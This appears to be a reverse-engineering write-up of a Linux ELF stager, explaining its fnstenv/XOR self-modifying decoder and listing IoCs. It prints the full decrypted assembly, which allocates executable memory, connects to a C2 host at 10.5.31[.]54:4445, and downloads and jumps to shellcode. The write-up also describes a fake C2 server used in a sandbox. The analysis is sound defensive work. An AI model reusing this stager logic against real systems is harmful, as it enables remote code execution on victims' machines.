The analysis of ELF (Executable and Linkable Format) malware, typically targeting Linux systems, represents a complex challenge due to the sophisticated obfuscation and anti-analysis techniques employed by attackers.
This report focuses on the static analysis and deconstruction of a particularly insidious stager that leverages self-modifying code and a polymorphic XOR key to conceal its real payload.

The goal is to transform a binary that is statically unanalyzable into a decrypted and readable form, overcoming the initial roadblocks imposed by instructions that generate bad code in disassemblers such as radare2 and Ghidra.
By adopting a mixed approach that combines temporary dynamic analysis with subsequent static inspection of the dumped code, the true nature of the malware is revealed: an in-memory loader that allocates resources, establishes a Command and Control (C2) connection to 10.5.31[.]54:4445, and dynamically downloads and immediately executes a secondary payload.

"everything is open source if you can reverse engineer" - HCF


Key Steps of Advanced Static Analysis

  • XOR decoding stub with a polymorphic key
  • Runtime obfuscation bypass (self-modifying code)
  • Static analysis of decrypted code
  • Simulation of the C2 infrastructure using a Python script
  • Extraction of Indicators of Compromise (IoCs)

XOR Decoding Stub with Polymorphic Key

Using radare2, we begin by analyzing the only portion of valid disassembly initially available. radare2 (often abbreviated as r2) is a comprehensive open-source framework for reverse engineering and binary analysis. It is not a single tool, but a suite of powerful command-line utilities that can be combined to disassemble, analyze, modify, and exploit any type of binary file, including executables, libraries, firmware, and malware.

[CODE-1]

[0x00400078]> afl
0x00400078 1 31 entry0

[0x00400078]> s entry0
[0x00400078]> pdf

0x00400078 mov edi, 0x6e301cbd
0x0040007d fcmovnu st(0), st(4)
0x0040007f fnstenv [rsp - 0xc]
0x00400083 pop rdx
0x00400084 sub ecx, ecx ; arg4
0x00400086 mov cl, 0x21 ; ‘!’ ; 33
0x00400088 sub edx, 0xfffffffc
0x0040008b xor dword [rdx + 0x10], edi
0x0040008e add edi, dword [rdx + 0x10]
0x00400091 pop rdi
0x00400092 jmp 0x78a0600f

This portion of code, the only valid one available at first, performs an in-place decoding of a subsequent code section using a self-modifying (polymorphic) XOR key.

void entry(void)
{
uint *puVar1;
int in_FPUInstructionPointer;

puVar1 = (uint *)((ulong)(in_FPUInstructionPointer + 4) + 0x10);
*puVar1 = *puVar1 ^ 0x6e301cbd;
/* WARNING: Bad instruction - Truncating control flow here */
halt_baddata(); <-- badcode
}

Ghidra's decompiler translates low-level machine code (assembly) into a high-level language such as C. Its purpose is to reconstruct a readable and understandable version of the source code, greatly facilitating behavioral analysis without access to the original source.

The peculiarity of this malware is that it is not statically analyzable. Both radare2 and Ghidra encounter only bad code after a few instructions. Dynamic analysis shows that starting from address 0x00400091, the malware rewrites itself using an XOR loop.
To obtain the real code, GDB was used: the malware was allowed to complete its in-memory rewrite phase, after which the resulting code was dumped and analyzed statically, avoiding further dynamic execution and obtaining the complete decrypted body for inspection.


Runtime Obfuscation Bypass (Self-Modifying Code)

0x0040007d fcmovnu st(0), st(4)
0x0040007f fnstenv [rsp - 0xc]
0x00400083 pop rdx

The fcmovnu instruction is a filler used to ensure the presence of an FPU instruction from which fnstenv can read the Instruction Pointer (IP). The FPU IP is updated only when an FPU instruction is executed. Without a preceding FPU instruction, the saved pointer could be stale and irrelevant. By inserting fcmovnu immediately before fnstenv, the malware guarantees that the FPU state is updated.

The fnstenv instruction saves the FPU state to the stack. The saved structure contains the Instruction Pointer of the last executed FPU instruction (fcmovnu). This is the actual mechanism used to indirectly compute the current code address (RIP).

The pop rdx instruction retrieves this value, obtaining a RIP-relative address needed to calculate the offsets of the code to be modified.

On x86_64 architectures, there is no direct instruction such as mov rax, rip. Therefore, tricks such as fnstenv or call/pop are used to retrieve the current instruction pointer, especially for self-modifying code or for accessing data located near the code.

0x00400088 sub edx, 0xfffffffc --> edx = edx + 4

This instruction is either an obfuscation trick or a deliberate attempt to make the code appear more complex. Its purpose is to adjust the address calculated via fnstenv so that it points to the block of code to be rewritten. At the end of this operation, rdx contains 0x00400081.

0x0040008b xor dword [rdx + 0x10], edi

rdx = 0x00400081 + 0x10 = 0x00400091

:> x/8x 0x00400091
0x00400091 5fe9 785f 6078 70c7

The XOR key 0x6e301cbd is loaded into rdi. At address 0x00400091, the mutation of the code begins.

0x00400091 pop rdi
0x00400092 jmp 0x78a0600f

Initially, pop rdi has no meaningful effect. It simply consumes 8 bytes from the stack and acts as a placeholder. During the XOR loop, the bytes corresponding to this instruction are overwritten in memory and transformed into valid instructions. The original pop rdi disappears entirely.

This technique is typical of malware using self-modifying code: some initial instructions exist only as raw data to seed the decryption process, not to be executed as meaningful instructions.

[CODE-7]

0x0040008b xor dword [rdx + 0x10], edi
0x0040008e add edi, dword [rdx + 0x10]
0x00400091 loop 0x400088

For example:

edi = 0x6e301cbd --> byte meno significativo = 0xbd

:> x/8x 0x00400091
0x00400091 5fe9 785f 6078 70c7

[0x400091] = 0x5f

5f ^ bd = e2
e9 ^ 1c = f5

 e2f5 --> loop

The loop iterates ecx times (33), rewriting the malware body. Only after completion does the code become executable.

0x0040008e add edi, dword [rdx + 0x10]

Immediately after decoding a portion of code, the malware modifies the XOR key itself. The decoded value is added to the key stored in edi, making the key polymorphic.


Static Analysis of the Decrypted Code

The pdf command (Print Disassembly Function) is one of the most important commands in radare2. It disassembles and prints the entire assembly code of the function at the current seek position (with the 's' parameter).

[0x00400078]> pdf
0x00400078 mov edi, 0x6e301cbd
0x0040007d fcmovnu st(0), st(4)
0x0040007f fnstenv [rsp - 0xc]
0x00400083 pop rdx
0x00400084 sub ecx, ecx
0x00400086 mov cl, 0x21
0x00400088 sub edx, 0xfffffffc
0x0040008b xor dword [rdx + 0x10], edi
0x0040008e add edi, dword [rdx + 0x10]
0x00400091 loop 0x400088
0x00400093 xor rdi, rdi
0x00400096 push 9
0x00400098 pop rax
0x00400099 cdq
0x0040009a mov dh, 0x10
0x0040009c mov rsi, rdx
0x0040009f xor r9, r9
0x004000a2 push 0x22
0x004000a4 pop r10
0x004000a6 mov dl, 7
0x004000a8 syscall

First syscall = mmap (rax = 9), which creates an executable memory region. The mmap ("memory map") system call is a fundamental mechanism that establishes a mapping between a file (or a device) and a process's virtual address space. The logical next step for this malware, after preparing memory with mmap, is to contact the C2 server and download the payload into this newly allocated area. A C2 or C&C (Command and Control) server is the remote infrastructure used by an attacker to communicate with and manage malware deployed on infected systems. In practical terms, it represents the command headquarters of the malicious operation.

0x004000aa test rax, rax
0x004000ad js 0x400100
0x004000af push 0xa ;10
0x004000b1 pop r9
0x004000b3 push rax
0x004000b4 push 0x29 ;41
0x004000b6 pop rax
0x004000b7 cdq 0x004000b8 6a02 push 2 ;2
0x004000ba pop rdi
0x004000bb push 1 ;1
0x004000bd pop rsi
0x004000be syscall

The socket syscall (rax=41, push 0x29, pop rax) creates a new communication endpoint and returns a file descriptor. This is the fundamental first step for any network-capable program.

0x004000c0 test rax, rax
0x004000c3 js 0x400100
0x004000c5 xchg rdi, rax
0x004000c7 movabs rcx, 0x361f050a5d110002

Here, the malware constructs the IP address and port into a single 64-bit value:

rcx = 0x361f050a5d110002

Bytes are arranged little-endian in memory, as follows:

0x02 0x00 0x11 0x5d 0x0a 0x05 0x1f 0x36

The first 4 bytes (0x0a 0x05 0x1f 0x36) represent the IP address 10.5.31[.]54;
The last 2 bytes (0x11 0x5d) represent the port 4445.

This approach avoids standard C structures and manually builds the sockaddr_in structure on the stack.

0x004000d1 push rcx
0x004000d2 mov rsi, rsp
0x004000d5 push 0x10 ; 16
0x004000d7 pop rdx
0x004000d8 push 0x2a ; ‘*’ ; 42
0x004000da pop rax
0x004000db syscall

The connect syscall (rax = 42) establishes the connection to the remote C2 server. It is the step that binds the local socket, previously created, to a listening socket on another host.

The code builds the sockaddr_in structure directly on the stack and then issues the syscall. If it fails, the execution flow jumps to 0x400100 to retry or exit. In practice, this part of the malware establishes the connection to the C2 server and prepares the channel used to receive the payload.

0x004000dd pop rcx
0x004000de test rax, rax
0x004000e1 jns 0x400108
0x004000e3 dec r9
0x004000e6 je 0x400100
0x004000e8 push rdi
0x004000e9 push 0x23 ;35
0x004000eb pop rax
0x004000ec push 0
0x004000ee push 5 ;5
0x004000f0 mov rdi, rsp
0x004000f3 xor rsi, rsi
0x004000f6 syscall

In case of failure, the malware invokes nanosleep for exactly 5 seconds before retrying the connection.

0x004000f8 pop rcx
0x004000f9 pop rcx
0x004000fa pop rdi
0x004000fb test rax, rax
0x004000fe jns 0x4000c7

0x00400108 pop rsi
0x00400109 push 0x7e ; ‘~’ ; 126
0x0040010b pop rdx
0x0040010c syscall

If the connection succeeds, the malware performs a read syscall to retrieve 126 bytes of shellcode from the socket.

0x0040010e test rax, rax
0x00400111 js 0x400100
0x00400113 jmp rsi

Execution is then transferred to the downloaded payload using jmp rsi. The jmp rsi instruction is not accidental: rsi contains the pointer to the RWE memory region previously allocated via mmap (the return value of mmap in rax was saved and later moved into rsi). As a result, the 126 bytes downloaded from the C2 server are copied into that region by the read syscall, and execution is immediately transferred to that address via jmp rsi. Effectively, rsi becomes the entry point of the secondary payload - the malware acts as a stager that executes shellcode fetched at runtime. If the read syscall does not retrieve all 126 bytes, rax would remain < 126, but the code performs no validation and jumps regardless, meaning that even a partial buffer would be executed (likely as part of the C2 loader logic).

A stager is a small loader, i.e., a minimal piece of malware whose sole purpose is to prepare the environment and download or receive a larger payload (the actual malware) to be executed later. It typically performs only a few operations: allocating memory (mmap), opening a socket, connecting to a C2 server, and then issuing a read/recv to obtain remote code and transferring execution to it (jmp rsi in this case). This design keeps the initial binary very small and difficult to analyze statically. Full behavioral analysis therefore depends on the remote payload, which can change dynamically.

A stager like this one downloads and immediately executes a payload (typically shellcode) in memory, without writing anything to disk: the code runs directly from the memory region allocated with mmap and reached via jmp rsi. A downloader, by contrast, retrieves a file (executable, script, DLL, etc.), usually writes it to disk, and then executes it. In practical terms, this malware falls into the stager category because it loads the payload entirely in memory without filesystem persistence, although in a broader sense it can also be described as an in-memory downloader.


Simulation of the C2 Infrastructure with a Python Script

This Python script starts a server on port 4445 after configuring the network interface with IP address 10.5.31[.]54. Its purpose is to serve a 126-byte payload composed of a 27-byte shellcode and the required padding.

The malware is executed inside a REMnux sandbox. The stager connects to the server, downloads the 126 bytes, and immediately executes them.

A /bin/sh shell is successfully obtained.


Extraction of Indicators of Compromise (IoCs)

Self-Modifying Code

  • The fcmovnu / fnstenv instructions are used as an FPU-based trick to retrieve the current instruction pointer.
  • The XOR loop decrypts and patches the malware in memory.
  • Without dynamic execution, the real code cannot be obtained.

Network Activity

  • The malware opens a TCP socket to 10.5.31[.]54 on port 4445.
  • In case of failure, it uses nanosleep to wait before retrying.
  • After multiple failures, it calls exit(1).
  • On success, it reads from the socket and jumps to the received payload.

Daily Term
Can you guess today’s cybersecurity word in 6 tries?
Play now

Conclusions

The advanced analysis of this ELF malware reveals an extremely compact stager. Its primary defense does not rely on complex encryption algorithms, but on effective use of self-modifying code and FPU-based techniques designed to mislead static disassembly tools.

Key Findings

  • Primary Technique: Runtime obfuscation via polymorphic XOR decoding (self-modifying code).
  • Objective: Allocate an RWE memory region (mmap) and establish a TCP connection to the C2 server at 10.5.31[.]54:4445.
  • Payload Execution: After connecting, the malware reads shellcode from the socket and transfers execution to it (jmp rsi), ensuring the final payload never touches disk and complicating post-compromise forensic analysis.


Author

HCF - hacker artist, reverse engineer, battle programmer, and malware & cybersecurity analyst.

Enter My World: entermyworld.substack.com
Blog: spaghetti-hacker.blogfree.net

Halt and Catch Fire (HCF) is a fictitious assembly instruction historically used as a joke to describe undocumented instructions that place the CPU in an unrecoverable state without a reset.

Reverse engineering represents the need and the right of users to open, explore, and modify technology according to their needs, extending and evolving it in alignment with an ever-changing technological landscape.

flag{we_beleaf_in_your_re_future}